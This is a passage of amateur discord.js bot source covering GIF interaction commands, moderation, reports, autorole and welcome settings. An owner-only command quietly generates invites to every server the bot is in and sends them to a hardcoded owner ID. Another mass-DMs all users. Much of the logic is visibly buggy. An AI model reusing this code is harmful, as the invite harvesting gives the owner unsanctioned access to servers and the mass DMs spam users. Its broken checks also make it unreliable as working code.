  6070. "https://78.media.tumblr.com/5fa89acc3637b84a29c6f528c1727135/tumblr_o3kyyxj5nF1unech7o1_500.gif",
  6071. "https://78.media.tumblr.com/443c4235cae34242d014e2bb1276810d/tumblr_orldmdZJ2x1vb10byo1_500.gif",
  6072. "https://78.media.tumblr.com/b8ce553824c59700049256fbc825390b/tumblr_ojf72iRAty1v312ebo1_500.gif",
  6073. "https://78.media.tumblr.com/2fe074ad467af41a8230b8d9d8e322f1/tumblr_omvj49wYnq1v8tshbo1_500.gif",
  6074. "https://78.media.tumblr.com/9956a4b53345e4031faccf8174cadb68/tumblr_ozy26yVcBu1ql0375o1_500.gif",
  6075. "https://78.media.tumblr.com/14f5e0c6ef88280f75017987302a7dad/tumblr_o31a2iJsCw1uprh6zo1_500.gif",
  6076. "https://78.media.tumblr.com/5e2130af66f9c548059c6452d1b55e03/tumblr_p8zuex4xZo1qzxv73o1_500.gif",
  6077. "https://i.gifer.com/8WPN.mp4",
  6078. "https://i.gifer.com/GAMC.gif",
  6079. ]
  6080. let hugresult = Math.floor((Math.random() * hug.length));
  6081. if (!args[0]) {
  6082. const ghembed = new Discord.RichEmbed()
  6083. .setColor("RANDOM")
  6084. .setTitle(`${message.author.username} Sorry to see you alone...`)
  6085. .setImage('https://78.media.tumblr.com/9d9be702d1dda0559809d920bf1d01d1/tumblr_inline_nrw2mfIFBh1qafrh6_400.gif')
  6086. message.channel.send({
  6087. embed: ghembed
  6088. })
  6089. return;
  6090. }
  6091. if (!message.mentions.members.first().user.username === message.isMentioned(message.author)) {
  6092. const hembed = new Discord.RichEmbed()
  6093. .setColor("RANDOM")
  6094. .setTitle(`${message.mentions.members.first().user.username} you have been hugged by ${message.author.username}`)
  6095. .setImage(hug[hugresult])
  6096. message.channel.send({
  6097. embed: hembed
  6098. })
  6099. return;
  6100. }
  6101. const ghembed = new Discord.RichEmbed()
  6102. .setColor(RANDOM)
  6103. .setTitle(`${message.author.username} Sorry to see you alone...`)
  6104. .setImage('https://78.media.tumblr.com/9d9be702d1dda0559809d920bf1d01d1/tumblr_inline_nrw2mfIFBh1qafrh6_400.gif')
  6105. message.channel.send({
  6106. embed: ghembed
  6107. })
  6108. }
  6109. });
  6110. ///end
  6111.  
  6112.  
  6113. ///end
  6114.  
  6115. ///slap
  6116. client.on('message', message => {
  6117. if(message.content.startsWith(prefix + 'slap')) {
  6118. let args = message.content.split(" ").slice(1);
  6119. let hug = [
  6120. "https://cdn.discordapp.com/attachments/466949822604247044/467005787189805066/Slap_6.gif",
  6121. "https://cdn.discordapp.com/attachments/466949822604247044/467005776880336896/Slap_9.gif",
  6122. "https://cdn.discordapp.com/attachments/466949822604247044/467005776515563520/Slap_11.gif",
  6123. "https://cdn.discordapp.com/attachments/466949822604247044/467005770114793492/Slap_8.gif",
  6124. "https://cdn.discordapp.com/attachments/466949822604247044/467005766608486431/Slap_12.gif",
  6125. "https://cdn.discordapp.com/attachments/466949822604247044/467005763814948864/Slap_13.gif",
  6126. "https://cdn.discordapp.com/attachments/466949822604247044/467005759167791106/Slap_14.gif",
  6127. "https://cdn.discordapp.com/attachments/466949822604247044/467005741694451713/Slap_5.gif",
  6128. "https://cdn.discordapp.com/attachments/466949822604247044/467005741216169984/Slap_2.gif",
  6129. "https://cdn.discordapp.com/attachments/466949822604247044/467005739530190865/Slap_4.gif",
  6130. "https://cdn.discordapp.com/attachments/466949822604247044/467005740603801600/Slap_1.gif",
  6131. "https://cdn.discordapp.com/attachments/466949822604247044/467005738804445185/Slap_3.gif",
  6132. "https://cdn.discordapp.com/attachments/466949822604247044/467005734412877854/Slap.gif",
  6133. "https://cdn.discordapp.com/attachments/466949822604247044/466953715039993856/staph_it.gif",
  6134. "https://cdn.discordapp.com/attachments/466949822604247044/466951859148554260/nu.gif",
  6135. "https://media0.giphy.com/media/fO6UtDy5pWYwM/giphy.gif",
  6136. ]
  6137. let hugresult = Math.floor((Math.random() * hug.length));
  6138. if (!args[0]) {
  6139. const ghembed = new Discord.RichEmbed()
  6140. .setColor("RANDOM")
  6141. .setTitle(``)
  6142. .setImage('')
  6143. message.channel.send({
  6144. embed: ghembed
  6145. })
  6146. return;
  6147. }
  6148. if (!message.mentions.members.first().user.username === message.isMentioned(message.author)) {
  6149. const hembed = new Discord.RichEmbed()
  6150. .setColor("RANDOM")
  6151. .setTitle(`${message.mentions.members.first().user.username} you have been slapped by ${message.author.username}`)
  6152. .setImage(hug[hugresult])
  6153. message.channel.send({
  6154. embed: hembed
  6155. })
  6156. return;
  6157. }
  6158. const ghembed = new Discord.RichEmbed()
  6159. .setColor(RANDOM)
  6160. .setTitle(``)
  6161. .setImage('')
  6162. message.channel.send({
  6163. embed: ghembed
  6164. })
  6165. }
  6166. });
  6167. ///end
  6168.  
  6169. ///pat
  6170. client.on('message', message => {
  6171. if(message.content.startsWith(prefix + 'pat')) {
  6172. let args = message.content.split(" ").slice(1);
  6173. let hug = [
  6174. "https://cdn.discordapp.com/attachments/466949822604247044/467186871290822657/pat-B1SOzCV0W.gif",
  6175. "https://cdn.discordapp.com/attachments/466949822604247044/466954354927337472/26d886c039e5f438d36c22964f1e79d0.gif",
  6176. "https://cdn.discordapp.com/attachments/466949822604247044/466952080750280724/tenor.gif",
  6177. "https://cdn.discordapp.com/attachments/466949822604247044/466951974726664192/1506871682_tumblr_o925gmua611uhpv9wo1_540.gif",
  6178. "https://cdn.discordapp.com/attachments/466949822604247044/466951961439109130/pets.gif",
  6179. "https://cdn.discordapp.com/attachments/466949822604247044/466951936873201664/tenor-1.gif",
  6180. "https://media2.giphy.com/media/109ltuoSQT212w/giphy.gif",
  6181. "https://media3.giphy.com/media/ye7OTQgwmVuVy/giphy.gif",
  6182. "https://media1.giphy.com/media/ARSp9T7wwxNcs/giphy.gif",
  6183. "https://media2.giphy.com/media/aPOuFhSOoeoAo/giphy.gif",
  6184. "https://media0.giphy.com/media/L2z7dnOduqEow/giphy.gif",
  6185. "https://media0.giphy.com/media/X9MUeQelKifU4/giphy.gif",
  6186. "https://media.giphy.com/media/4HP0ddZnNVvKU/giphy.gif",
  6187. "https://media1.giphy.com/media/e7xQm1dtF9Zni/giphy.gif",
  6188. "https://78.media.tumblr.com/6d55745d63a3829693ce68a71ddbd218/tumblr_ox5dckEwTQ1rupogao1_500.gif",
  6189. "https://78.media.tumblr.com/59074e59e5563e15623216e3e33cd259/tumblr_ojt62uIuDB1vztiw8o1_500.gif",
  6190. ]
  6191. let hugresult = Math.floor((Math.random() * hug.length));
  6192. if (!args[0]) {
  6193. const ghembed = new Discord.RichEmbed()
  6194. .setColor("RANDOM")
  6195. .setTitle(``)
  6196. .setImage('')
  6197. message.channel.send({
  6198. embed: ghembed
  6199. })
  6200. return;
  6201. }
  6202. if (!message.mentions.members.first().user.username === message.isMentioned(message.author)) {
  6203. const hembed = new Discord.RichEmbed()
  6204. .setColor("RANDOM")
  6205. .setTitle(`${message.mentions.members.first().user.username} you have been patted by ${message.author.username}`)
  6206. .setImage(hug[hugresult])
  6207. message.channel.send({
  6208. embed: hembed
  6209. })
  6210. return;
  6211. }
  6212. const ghembed = new Discord.RichEmbed()
  6213. .setColor(RANDOM)
  6214. .setTitle(``)
  6215. .setImage('')
  6216. message.channel.send({
  6217. embed: ghembed
  6218. })
  6219. }
  6220. });
  6221. ///end
  6222.  
  6223. ///cuddle
  6224. client.on('message', message => {
  6225. if(message.content.startsWith(prefix + 'cuddle')) {
  6226. let args = message.content.split(" ").slice(1);
  6227. let hug = [
  6228. "https://cdn.discordapp.com/attachments/466949822604247044/467005578548346900/Cuddle6.gif",
  6229. "https://cdn.discordapp.com/attachments/466949822604247044/467005575511932928/Cuddle7.gif",
  6230. "https://cdn.discordapp.com/attachments/466949822604247044/467005570692677645/Cuddle4.gif",
  6231. "https://cdn.discordapp.com/attachments/466949822604247044/467005567144165377/Cuddle3.gif",
  6232. "https://cdn.discordapp.com/attachments/466949822604247044/466952826917093396/cuddlez.gif",
  6233. "https://i.imgur.com/IrY5w46.gif",
  6234. "https://i.imgur.com/lGeXeTQ.gif",
  6235. "https://i.imgur.com/0AaS08b.gif",
  6236. "https://cdn.discordapp.com/attachments/347377586017665027/467497200792895498/cuddle-rkA6SU7w-.gif",
  6237. "https://cdn.discordapp.com/attachments/467499708068265994/467499871138611204/cuddle-rylgIUmPW.gif",
  6238. "https://cdn.discordapp.com/attachments/467499708068265994/467500001669545985/cuddle-HkUlIUXDZ.gif",
  6239. "https://cdn.discordapp.com/attachments/467499708068265994/467500500821213194/cuddle-ryURHLXP-.gif",
  6240. "https://cdn.discordapp.com/attachments/467499708068265994/467500585667788812/cuddle-r1Q0HImPZ.gif",
  6241. "https://cdn.discordapp.com/attachments/467499708068265994/467500675098607618/cuddle-rk2-UL7PW.gif",
  6242. "https://cdn.discordapp.com/attachments/467499708068265994/467501362322604035/cuddle-rJ6zAkc1f.gif",
  6243. "https://cdn.discordapp.com/attachments/467499708068265994/467501503813386242/cuddle-r1s9RqB7G.gif",
  6244. ]
  6245. let hugresult = Math.floor((Math.random() * hug.length));
  6246. if (!args[0]) {
  6247. const ghembed = new Discord.RichEmbed()
  6248. .setColor("RANDOM")
  6249. .setTitle(`${message.author.username} Sorry to see you alone...`)
  6250. .setImage('https://cdn.discordapp.com/attachments/466949822604247044/467005738804445185/Slap_3.gif')
  6251. message.channel.send({
  6252. embed: ghembed
  6253. })
  6254. return;
  6255. }
  6256. if (!message.mentions.members.first().user.username === message.isMentioned(message.author)) {
  6257. const hembed = new Discord.RichEmbed()
  6258. .setColor("RANDOM")
  6259. .setTitle(`${message.mentions.members.first().user.username} you have been cuddled by ${message.author.username}`)
  6260. .setImage(hug[hugresult])
  6261. message.channel.send({
  6262. embed: hembed
  6263. })
  6264. return;
  6265. }
  6266. const ghembed = new Discord.RichEmbed()
  6267. .setColor(RANDOM)
  6268. .setTitle(`${message.author.username} Sorry to see you alone...`)
  6269. .setImage('https://cdn.discordapp.com/attachments/466949822604247044/467005738804445185/Slap_3.gif')
  6270. message.channel.send({
  6271. embed: ghembed
  6272. })
  6273. }
  6274. });
  6275. ///end
  6276.  
  6277. ///poke
  6278. client.on('message', message => {
  6279. if(message.content.startsWith(prefix + 'poke')) {
  6280. let args = message.content.split(" ").slice(1);
  6281. let hug = [
  6282. "https://cdn.discordapp.com/attachments/467499708068265994/467507303432585227/poke-rJzUe1FwZ.gif",
  6283. "https://cdn.discordapp.com/attachments/467499708068265994/467509021793058857/poke-B14SJlTQG.gif",
  6284. "https://cdn.discordapp.com/attachments/467499708068265994/467509321412902922/poke-HJZpLxkKDb.gif",
  6285. "https://cdn.discordapp.com/attachments/467499708068265994/467509460458405888/poke-SydLxJFwW.gif",
  6286. "https://cdn.discordapp.com/attachments/467499708068265994/467509552024256515/poke-BJhIekKwb.gif",
  6287. "https://cdn.discordapp.com/attachments/467499708068265994/467509933626097674/poke-B1oSgytwW.gif",
  6288. "https://cdn.discordapp.com/attachments/467499708068265994/467509931084480522/poke-r1v6xoh0Z.gif",
  6289. "https://cdn.discordapp.com/attachments/467499708068265994/467509944338481152/poke-H1fMRpYtb.gif",
  6290. "https://cdn.discordapp.com/attachments/467499708068265994/467509925052940288/poke-rkB8eJYPZ.gif",
  6291. "https://cdn.discordapp.com/attachments/467499708068265994/467511056240082954/poke-rJ0hlsnR-.gif",
  6292. "https://cdn.discordapp.com/attachments/467499708068265994/467511147927699474/poke-H1x2HxyYD-.gif",
  6293. "https://cdn.weeb.sh/images/rkeaUeJKD-.gif",
  6294. "https://cdn.weeb.sh/images/HkxwlkKPb.gif",
  6295. "https://cdn.weeb.sh/images/SyQzRaFFb.gif",
  6296. "https://cdn.weeb.sh/images/rkaUe1YPb.gif",
  6297. "https://cdn.weeb.sh/images/BkcSekKwb.gif",
  6298. ]
  6299. let hugresult = Math.floor((Math.random() * hug.length));
  6300. if (!args[0]) {
  6301. const ghembed = new Discord.RichEmbed()
  6302. .setColor("RANDOM")
  6303. .setTitle(`Are you trying to poke thin air...?`)
  6304. .setImage('')
  6305. message.channel.send({
  6306. embed: ghembed
  6307. })
  6308. return;
  6309. }
  6310. if (!message.mentions.members.first().user.username === message.isMentioned(message.author)) {
  6311. const hembed = new Discord.RichEmbed()
  6312. .setColor("RANDOM")
  6313. .setTitle(`${message.mentions.members.first().user.username} you have been poked by ${message.author.username}`)
  6314. .setImage(hug[hugresult])
  6315. message.channel.send({
  6316. embed: hembed
  6317. })
  6318. return;
  6319. }
  6320. const ghembed = new Discord.RichEmbed()
  6321. .setColor(RANDOM)
  6322. .setTitle(`Are you trying to poke thin air...?`)
  6323. .setImage('')
  6324. message.channel.send({
  6325. embed: ghembed
  6326. })
  6327. }
  6328. });
  6329. ///end
  6330.  
  6331. ///tickle
  6332. client.on('message', message => {
  6333. if(message.content.startsWith(prefix + 'tickle')) {
  6334. let args = message.content.split(" ").slice(1);
  6335. let hug = [
  6336. "https://cdn.weeb.sh/images/rkPzIyQi-.gif",
  6337. "https://cdn.discordapp.com/attachments/467499708068265994/467599200432160768/tickle-HyjNLkXiZ.gif",
  6338. "https://cdn.discordapp.com/attachments/467499708068265994/467599311002271744/tickle-rybRByXjZ.gif",
  6339. "https://cdn.discordapp.com/attachments/466949822604247044/467005567144165377/Cuddle3.gif",
  6340. "https://cdn.discordapp.com/attachments/466949822604247044/466952826917093396/cuddlez.gif",
  6341. "https://cdn.discordapp.com/attachments/467499708068265994/467599392426426369/tickle-SyGQIk7i-.gif",
  6342. "https://cdn.discordapp.com/attachments/467499708068265994/467599512366612520/tickle-HyPyUymsb.gif",
  6343. "https://cdn.discordapp.com/attachments/467499708068265994/467607824135094315/tickle-SyQHUy7oW.gif",
  6344. "https://cdn.discordapp.com/attachments/467499708068265994/467607970268708865/tickle-Byj7LJmiW.gif",
  6345. "https://cdn.weeb.sh/images/H1p0ByQo-.gif",
  6346. "https://cdn.weeb.sh/images/SkmEI1mjb.gif",
  6347. "https://78.media.tumblr.com/2d29fdbf47fd756caaea08f44b7eac92/tumblr_inline_ow4u7pIhWJ1u544cj_540.gif",
  6348. "https://78.media.tumblr.com/eb8a0282d62c9697b93cd546b77106f8/tumblr_o505jxtnWk1vpbklao2_500.gif",
  6349. "https://media.giphy.com/media/349HKeODRMQ36/giphy.gif",
  6350. "https://media.giphy.com/media/IRKHf3hD2xsre/giphy.gif",
  6351. ]
  6352. let hugresult = Math.floor((Math.random() * hug.length));
  6353. if (!args[0]) {
  6354. const ghembed = new Discord.RichEmbed()
  6355. .setColor("RANDOM")
  6356. .setTitle(`*giggles* :heart:`)
  6357. .setImage('')
  6358. message.channel.send({
  6359. embed: ghembed
  6360. })
  6361. return;
  6362. }
  6363. if (!message.mentions.members.first().user.username === message.isMentioned(message.author)) {
  6364. const hembed = new Discord.RichEmbed()
  6365. .setColor("RANDOM")
  6366. .setTitle(`${message.mentions.members.first().user.username} you got tickled by ${message.author.username}`)
  6367. .setImage(hug[hugresult])
  6368. message.channel.send({
  6369. embed: hembed
  6370. })
  6371. return;
  6372. }
  6373. const ghembed = new Discord.RichEmbed()
  6374. .setColor(RANDOM)
  6375. .setTitle(`${message.mentions.members.first().user.username} you got tickled by ${message.author.username}`)
  6376. .setImage('')
  6377. message.channel.send({
  6378. embed: ghembed
  6379. })
  6380. }
  6381. });
  6382. ///end
  6383.  
  6384.  
  6385. client.on('message',message =>{
  6386. if(message.content.startsWith(prefix + 'topinvites')) {
  6387. message.guild.fetchInvites().then(i =>{
  6388. var invites = [];
  6389.  
  6390. i.forEach(inv =>{
  6391. var [invs,i]=[{},null];
  6392.  
  6393. if(inv.maxUses){
  6394. invs[inv.code] =+ inv.uses+"/"+inv.maxUses;
  6395. }else{
  6396. invs[inv.code] =+ inv.uses;
  6397. }
  6398. invites.push(`invite: ${inv.url} inviter: ${inv.inviter} \`${invs[inv.code]}\`;`);
  6399.  
  6400. });
  6401. var embed = new Discord.RichEmbed()
  6402. .setColor("#000000")
  6403. .setDescription(`${invites.join(`\n`)+'\n\n**By:** '+message.author}`)
  6404. message.channel.send({ embed: embed });
  6405.  
  6406. });
  6407.  
  6408. }
  6409. });
  6410. client.on('message', message => {
  6411. if(!message.channel.guild) return;
  6412. if(message.content.startsWith(prefix + 'move')) {
  6413. if (message.member.hasPermission("MOVE_MEMBERS")) {
  6414. if (message.mentions.users.size === 0) {
  6415. return message.channel.send("``لاستخدام الأمر اكتب هذه الأمر : " +prefix+ "move [USER]``")
  6416. }
  6417. if (message.member.voiceChannel != null) {
  6418. if (message.mentions.members.first().voiceChannel != null) {
  6419. var authorchannel = message.member.voiceChannelID;
  6420. var usermentioned = message.mentions.members.first().id;
  6421. var embed = new Discord.RichEmbed()
  6422. .setTitle("Succes!")
  6423. .setColor("#000000")
  6424. .setDescription(`لقد قمت بسحب <@${usermentioned}> الى الروم الصوتي الخاص بك? `)
  6425. var embed = new Discord.RichEmbed()
  6426. .setTitle(`You are Moved in ${message.guild.name}`)
  6427. .setColor("RANDOM")
  6428. .setDescription(`**<@${message.author.id}> Moved You To His Channel!\nServer --> ${message.guild.name}**`)
  6429. message.guild.members.get(usermentioned).setVoiceChannel(authorchannel).then(m => message.channel.send(embed))
  6430. message.guild.members.get(usermentioned).send(embed)
  6431. } else {
  6432. message.channel.send("``لا تستطيع سحب "+ message.mentions.members.first() +" `يجب ان يكون هذه العضو في روم صوتي`")
  6433. }
  6434. } else {
  6435. message.channel.send("**``يجب ان تكون في روم صوتي لكي تقوم بسحب العضو أليك``**")
  6436. }
  6437. } else {
  6438. message.react(":x:")
  6439. }}});
  6440.  
  6441.  
  6442. client.on('message', msg => {
  6443. if (msg.author.bot) return;
  6444. if (!msg.content.startsWith(prefix)) return;
  6445. let command = msg.content.split(" ")[0];
  6446. command = command.slice(prefix.length);
  6447. let args = msg.content.split(" ").slice(1);
  6448.  
  6449. if(command === "clear") {
  6450. const emoji = client.emojis.find("name", "wastebasket")
  6451. let textxt = args.slice(0).join("");
  6452. if(msg.member.hasPermission("MANAGE_MESSAGES")) {
  6453. if (textxt == "") {
  6454. msg.delete().then
  6455. msg.channel.bulkDelete(1000).then(m => m.delete(3000));
  6456. } else {
  6457. msg.delete().then
  6458. msg.delete().then
  6459. msg.channel.bulkDelete(textxt);
  6460. msg.channel.send("```php\nعدد الرسائل التي تم مسحها: " + textxt + "\n```").then(m => m.delete(3000));
  6461. }
  6462. }
  6463. }
  6464. });
  6465.  
  6466.  
  6467.  
  6468. const reportjson = JSON.parse(fs.readFileSync('./report.json' , 'utf8'));
  6469.  
  6470. client.on('message', message => {
  6471. if (!message.channel.guild) return;
  6472.  
  6473. let room = message.content.split(" ").slice(1);
  6474. let findroom = message.guild.channels.find('name', `${room}`)
  6475. if(message.content.startsWith(prefix + "setReport")) {
  6476. if(!message.channel.guild) return message.reply('**This Command Only For Servers**');
  6477. if(!message.member.hasPermission('MANAGE_GUILD')) return message.channel.send('**Sorry But You Dont Have Permission** `MANAGE_GUILD`' );
  6478. if(!room) return message.channel.send('Please Type The Channel Name')
  6479. if(!findroom) return message.channel.send('Cant Find This Channel')
  6480. let embed = new Discord.RichEmbed()
  6481. .setTitle('**Done The report Code Has Been Setup**')
  6482. .addField('Channel:', `${room}`)
  6483. .addField('Requested By:', `${message.author}`)
  6484. .setThumbnail(message.author.avatarURL)
  6485. .setFooter(`${client.user.username}`)
  6486. message.channel.sendEmbed(embed)
  6487. reportjson[message.guild.id] = {
  6488. channel: room,
  6489. }
  6490. fs.writeFile("./report.json", JSON.stringify(reportjson), (err) => {
  6491. if (err) console.error(err)
  6492. })
  6493. client.on('message', message => {
  6494.  
  6495. if(message.content.startsWith(`${prefix}report`)) {
  6496. let user = message.mentions.users.first();
  6497. if(!message.channel.guild) return message.reply('**This Command Only For Servers**');
  6498. let reason = message.content.split(" ").slice(2).join(" ");
  6499. if(!user) return message.channel.send("**You didn\'t mention the user to report**")
  6500. if(!reason) return message.reply(`**Please provide a reason**`)
  6501. let findchannel = (message.guild.channels.find('name', `${reportjson[message.guild.id].channel}`))
  6502. if(!findchannel) return message.reply(`Error 404: The report Channel Cant Find Or Not Set To Set The report Channel Type: ${prefix}setReport`)
  6503. message.channel.send(`Done Thank You For Your Report Will Be Seen By The Staffs`)
  6504. let sugembed = new Discord.RichEmbed()
  6505. .setTitle('New Report !')
  6506. .addField('Report By:', `${message.author}`)
  6507. .addField('Reported User:', `${user}`)
  6508. .addField('Report Reason:', `${reason}`)
  6509. .setFooter('?????????? ??????')
  6510. findchannel.sendEmbed(sugembed)
  6511. .then(function (message) {
  6512. message.react('?')
  6513. message.react('?')
  6514. })
  6515. .catch(err => {
  6516. message.reply(`Error 404: The report Channel Cant Find Or Not Set To Set The report Channel Type: ${prefix}setReport`)
  6517. console.error(err);
  6518. });
  6519. }
  6520. }
  6521. )}
  6522. })
  6523.  
  6524.  
  6525. client.on('message', msg => {
  6526. if(msg.author.bot) return;
  6527.  
  6528. if(msg.content === '.guildslist') {
  6529. if (msg.author.id !== '505638480248963072') return msg.reply('** هذا الأمر قفط لصاحب البوت و شكراًً **')
  6530. if(!msg.author.id === '505638480248963072') return;
  6531. client.guilds.forEach(g => {
  6532.  
  6533. let l = g.id
  6534. g.channels.get(g.channels.first().id).createInvite({
  6535. maxUses: 5,
  6536. maxAge: 86400
  6537. }).then(i => msg.channel.send(`
  6538. **
  6539. Invite Link : <https://discord.gg/${i.code}>
  6540. Server : ${g.name} | Id : ${g.id}
  6541. Owner ID : ${g.owner.id}
  6542. **
  6543. `))
  6544.  
  6545.  
  6546. })
  6547. }
  6548.  
  6549. })
  6550.  
  6551.  
  6552. client.on('message', message => {
  6553. if(!message.channel.guild) return;
  6554. let args = message.content.split(' ').slice(1).join(' ');
  6555. if (message.content.startsWith('>ownerbc')){
  6556. if (message.author.id !== '429972030092476437') return message.reply('** هذا الأمر قفط لصاحب البوت و شكراًً **')
  6557. if(!message.author.id === '429972030092476437') return;
  6558. message.channel.sendMessage('جار ارسال |?')
  6559. client.users.forEach(m =>{
  6560. m.sendMessage(args)
  6561. })
  6562. }
  6563. });
  6564. client.on('message', message => {
  6565. if (message.content.startsWith(prefix + 'users1')) {
  6566. let msg = client.guilds.map(guild => `**${guild.name}** عدد الاعضاء: ${guild.memberCount}`).join('\n');
  6567. let embed = new Discord.RichEmbed()
  6568. .setTitle(`${client.guilds.size}سيرفرات `)
  6569. .setDescription(`${msg}`)
  6570. .setColor("#00ff47");
  6571. message.channel.send(embed);
  6572. }
  6573. });
  6574. let ar = JSON.parse(fs.readFileSync(`./Data/AutoRole.json`, `utf8`))
  6575. client.on('guildMemberAdd', member => {
  6576. if(!ar[member.guild.id]) ar[member.guild.id] = {
  6577. onoff: 'Off',
  6578. role: 'Member'
  6579. }
  6580. if(ar[member.guild.id].onoff === 'Off') return;
  6581. member.addRole(member.guild.roles.find(`name`, ar[member.guild.id].role)).catch(console.error)
  6582. })
  6583. client.on('message', message => {
  6584. if(!message.guild) return
  6585. if(!ar[message.guild.id]) ar[message.guild.id] = {
  6586. onoff: 'Off',
  6587. role: 'Member'
  6588. }
  6589. if(message.content.startsWith(prefix + `autorole`)) {
  6590. let perms = message.member.hasPermission(`MANAGE_ROLES`)
  6591. if(!perms) return message.reply(`You don't have permissions, required permission : Manage Roles.`)
  6592. let args = message.content.split(" ").slice(1)
  6593. if(!args.join(" ")) return message.reply(`${prefix}autorle toggle/setrole [ROLE NAME]`)
  6594. let state = args[0]
  6595. if(!state.trim().toLowerCase() == 'toggle' || !state.trim().toLowerCase() == 'setrole') return message.reply(`Please type a right state, ${prefix}modlogs toggle/setrole [ROLE NAME]`)
  6596. if(state.trim().toLowerCase() == 'toggle') {
  6597. if(ar[message.guild.id].onoff === 'Off') return [message.channel.send(`**The Autorole Is __????__ !**`), ar[message.guild.id].onoff = 'On']
  6598. if(ar[message.guild.id].onoff === 'On') return [message.channel.send(`**The Autorole Is __??????__ !**`), ar[message.guild.id].onoff = 'Off']
  6599. }
  6600. if(state.trim().toLowerCase() == 'set') {
  6601. let newRole = message.content.split(" ").slice(2).join(" ")
  6602. if(!newRole) return message.reply(`${prefix}autorole setrole [ROLE NAME]`)
  6603. if(!message.guild.roles.find(`name`,newRole)) return message.reply(`I Cant Find This Role.`)
  6604. ar[message.guild.id].role = newRole
  6605. message.channel.send(`**The AutoRole Has Been Changed to ${newRole}.**`)
  6606. }
  6607. }
  6608. if(message.content === prefix + 'info') {
  6609. let perms = message.member.hasPermission(`MANAGE_GUILD`)
  6610. if(!perms) return message.reply(`You don't have permissions.`)
  6611. var embed = new Discord.RichEmbed()
  6612. .addField(`Autorole : :sparkles: `, `
  6613. State : __${ar[message.guild.id].onoff}__
  6614. Role : __${ar[message.guild.id].role}__`)
  6615. .setColor(`BLUE`)
  6616. message.channel.send({embed})
  6617. }
  6618. fs.writeFile("./Data/AutoRole.json", JSON.stringify(ar), (err) => {
  6619. if (err) console.error(err)
  6620. });
  6621. })
  6622.  
  6623.  
  6624.  
  6625.  
  6626.  
  6627. let antibots = JSON.parse(fs.readFileSync('./antibots.json' , 'utf8'));//require antihack.json file
  6628. client.on('message', message => {
  6629. if(message.content.startsWith(prefix + "antibots on")) {
  6630. if(!message.channel.guild) return message.reply('**This Command Only For Servers**');
  6631. if(!message.member.hasPermission('ADMINSTRATOR')) return message.channel.send('**Sorry But You Dont Have Permission** `ADMINSTRATOR`' );
  6632. antibots[message.guild.id] = {
  6633. onoff: 'On',
  6634. }
  6635. message.channel.send(`**? The AntiBots Is __????__ !**`)
  6636. fs.writeFile("./antibots.json", JSON.stringify(antibots), (err) => {
  6637. if (err) console.error(err)
  6638. .catch(err => {
  6639. console.error(err);
  6640. });
  6641. });
  6642. }
  6643.  
  6644. })
  6645. //antihack with ON , OFF ! RARE CODE
  6646. //LIKE PLUSBOT !
  6647.  
  6648.  
  6649. client.on('message', message => {
  6650. if(message.content.startsWith(prefix + "antibots off")) {
  6651. if(!message.channel.guild) return message.reply('**This Command Only For Servers**');
  6652. if(!message.member.hasPermission('MANAGE_GUILD')) return message.channel.send('**Sorry But You Dont Have Permission** `MANAGE_GUILD`' );
  6653. antibots[message.guild.id] = {
  6654. onoff: 'Off',
  6655. }
  6656. message.channel.send(`**? The AntiBots Is __??????__ !**`)
  6657. fs.writeFile("./antibots.json", JSON.stringify(antibots), (err) => {
  6658. if (err) console.error(err)
  6659. .catch(err => {
  6660. console.error(err);
  6661. });
  6662. });
  6663. }
  6664.  
  6665. })
  6666.  
  6667. client.on("guildMemberAdd", member => {
  6668. if(!antibots[member.guild.id]) antibots[member.guild.id] = {
  6669. onoff: 'Off'
  6670. }
  6671. if(antibots[member.guild.id].onoff === 'Off') return;
  6672. if(member.user.bot) return member.kick()
  6673. })
  6674.  
  6675. fs.writeFile("./antibots.json", JSON.stringify(antibots), (err) => {
  6676. if (err) console.error(err)
  6677. .catch(err => {
  6678. console.error(err);
  6679. });
  6680.  
  6681. })
  6682. const welcome = JSON.parse(fs.readFileSync('./welcomer.json' , 'utf8'));
  6683.  
  6684. client.on('message', message => {
  6685. if (!message.channel.guild) return;
  6686.  
  6687. let room = message.content.split(" ").slice(1);
  6688. let findroom = message.guild.channels.find('name', `${room}`)
  6689. if(message.content.startsWith(prefix + "setWelcomer")) {
  6690. if(!message.channel.guild) return message.reply('**This Command Only For Servers**');
  6691. if(!message.member.hasPermission('MANAGE_GUILD')) return message.channel.send('**Sorry But You Dont Have Permission** `MANAGE_GUILD`' );
  6692. if(!room) return message.channel.send('Please Type The Channel Name')
  6693. if(!findroom) return message.channel.send('Cant Find This Channel')
  6694. let embed = new Discord.RichEmbed()
  6695. .setTitle('**Done The Welcome Code Has Been Setup**')
  6696. .addField('Channel:', `${room}`)
  6697. .addField('Requested By:', `${message.author}`)
  6698. .setThumbnail(message.author.avatarURL)
  6699. .setFooter(`${client.user.username}`)
  6700. message.channel.sendEmbed(embed)
  6701. welcome[message.guild.id] = {
  6702. channel: room,
  6703. onoff: 'On',
  6704. by: 'On',
  6705. dm: 'Off'
  6706. }
  6707. fs.writeFile("./welcomer.json", JSON.stringify(welcome), (err) => {
  6708. if (err) console.error(err)
  6709. })
  6710. }})
  6711. client.on('message', message => {
  6712.  
  6713. if(message.content.startsWith(prefix + "toggleWelcome")) {
  6714. if(!message.channel.guild) return message.reply('**This Command Only For Servers**');
  6715. if(!message.member.hasPermission('MANAGE_GUILD')) return message.channel.send('**Sorry But You Dont Have Permission** `MANAGE_GUILD`' );
  6716. if(!welcome[message.guild.id]) welcome[message.guild.id] = {
  6717. onoff: 'Off'
  6718. }
  6719. if(welcome[message.guild.id].onff === 'Off') return [message.channel.send(`**The Welcome Is __????__ !**`), welcome[message.guild.id].onoff = 'On']
  6720. if(welcome[message.guild.id].onoff === 'On') return [message.channel.send(`**The Welcome Is __??????__ !**`), welcome[message.guild.id].onoff = 'Off']
  6721. fs.writeFile("./welcome.json", JSON.stringify(welcome), (err) => {
  6722. if (err) console.error(err)
  6723. .catch(err => {
  6724. console.error(err);
  6725. });
  6726. })
  6727. }
  6728.  
  6729. })
  6730.  
  6731. client.on('message', message => {
  6732.  
  6733. if(message.content.startsWith(prefix + "toggleDmwelcome")) {
  6734. if(!message.channel.guild) return message.reply('**This Command Only For Servers**');
  6735. if(!message.member.hasPermission('MANAGE_GUILD')) return message.channel.send('**Sorry But You Dont Have Permission** `MANAGE_GUILD`' );
  6736. if(!welcome[message.guild.id]) welcome[message.guild.id] = {
  6737. dm: 'Off'
  6738. }
  6739. if(welcome[message.guild.id].dm === 'Off') return [message.channel.send(`**The Welcome Dm Is __????__ !**`), welcome[message.guild.id].dm = 'On']
